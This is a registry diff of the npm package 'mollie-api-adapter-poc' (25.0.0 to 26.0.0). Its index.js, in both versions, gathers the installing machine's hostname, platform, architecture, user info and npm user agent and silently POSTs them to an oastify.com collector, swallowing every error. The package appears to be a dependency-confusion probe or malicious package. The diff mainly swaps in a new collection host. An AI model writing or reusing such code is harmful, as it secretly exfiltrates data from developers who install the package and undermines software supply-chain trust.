mollie-api-adapter-poc 25.0.0 → 26.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +29 -36
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,41 +1,34 @@
|
|
|
1
1
|
const os = require('os');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
|
|
4
|
-
|
|
5
|
-
const userAgent = process.env.npm_config_user_agent || `Node/${process.version} (${os.platform()}; ${os.arch()})`;
|
|
6
|
-
|
|
7
|
-
if (!userAgent || userAgent.length < 5) {
|
|
8
|
-
console.error('Execution aborted: No valid User-Agent identified.');
|
|
9
|
-
process.exit(0);
|
|
10
|
-
}
|
|
11
|
-
|
|
12
|
-
const data = JSON.stringify({
|
|
13
|
-
hostname: os.hostname(),
|
|
14
|
-
userInfo: os.userInfo(),
|
|
15
|
-
envUA: userAgent
|
|
16
|
-
});
|
|
17
|
-
|
|
18
|
-
const options = {
|
|
19
|
-
hostname: 'g2jx2hufuvjai9ssqticw7p28tek2aqz.oastify.com',
|
|
20
|
-
port: 80,
|
|
21
|
-
path: '/log',
|
|
22
|
-
method: 'POST',
|
|
23
|
-
headers: {
|
|
24
|
-
'Content-Type': 'application/json',
|
|
25
|
-
'Content-Length': Buffer.byteLength(data),
|
|
26
|
-
'User-Agent': userAgent
|
|
27
|
-
}
|
|
28
|
-
};
|
|
29
|
-
|
|
30
|
-
const req = http.request(options, (res) => {
|
|
31
|
-
res.on('data', () => {});
|
|
32
|
-
});
|
|
33
|
-
|
|
34
|
-
req.on('error', (err) => {
|
|
35
|
-
});
|
|
36
|
-
|
|
37
|
-
req.write(data);
|
|
38
|
-
req.end();
|
|
39
|
-
} catch (e) {
|
|
4
|
+
const rawUA = process.env.npm_config_user_agent || process.env.USER_AGENT;
|
|
40
5
|
|
|
6
|
+
if (!rawUA) {
|
|
7
|
+
process.exit(0);
|
|
41
8
|
}
|
|
9
|
+
|
|
10
|
+
try {
|
|
11
|
+
const data = JSON.stringify({
|
|
12
|
+
hostname: os.hostname(),
|
|
13
|
+
platform: os.platform(),
|
|
14
|
+
arch: os.arch(),
|
|
15
|
+
capturedUA: rawUA
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
const options = {
|
|
19
|
+
hostname: '5rxmr6j4jk8z7yhhfi71lwerxi39r4ft.oastify.com',
|
|
20
|
+
port: 80,
|
|
21
|
+
path: '/log',
|
|
22
|
+
method: 'POST',
|
|
23
|
+
headers: {
|
|
24
|
+
'Content-Type': 'application/json',
|
|
25
|
+
'Content-Length': Buffer.byteLength(data),
|
|
26
|
+
'User-Agent': rawUA
|
|
27
|
+
}
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
const req = http.request(options);
|
|
31
|
+
req.on('error', () => {});
|
|
32
|
+
req.write(data);
|
|
33
|
+
req.end();
|
|
34
|
+
} catch (e) {}
|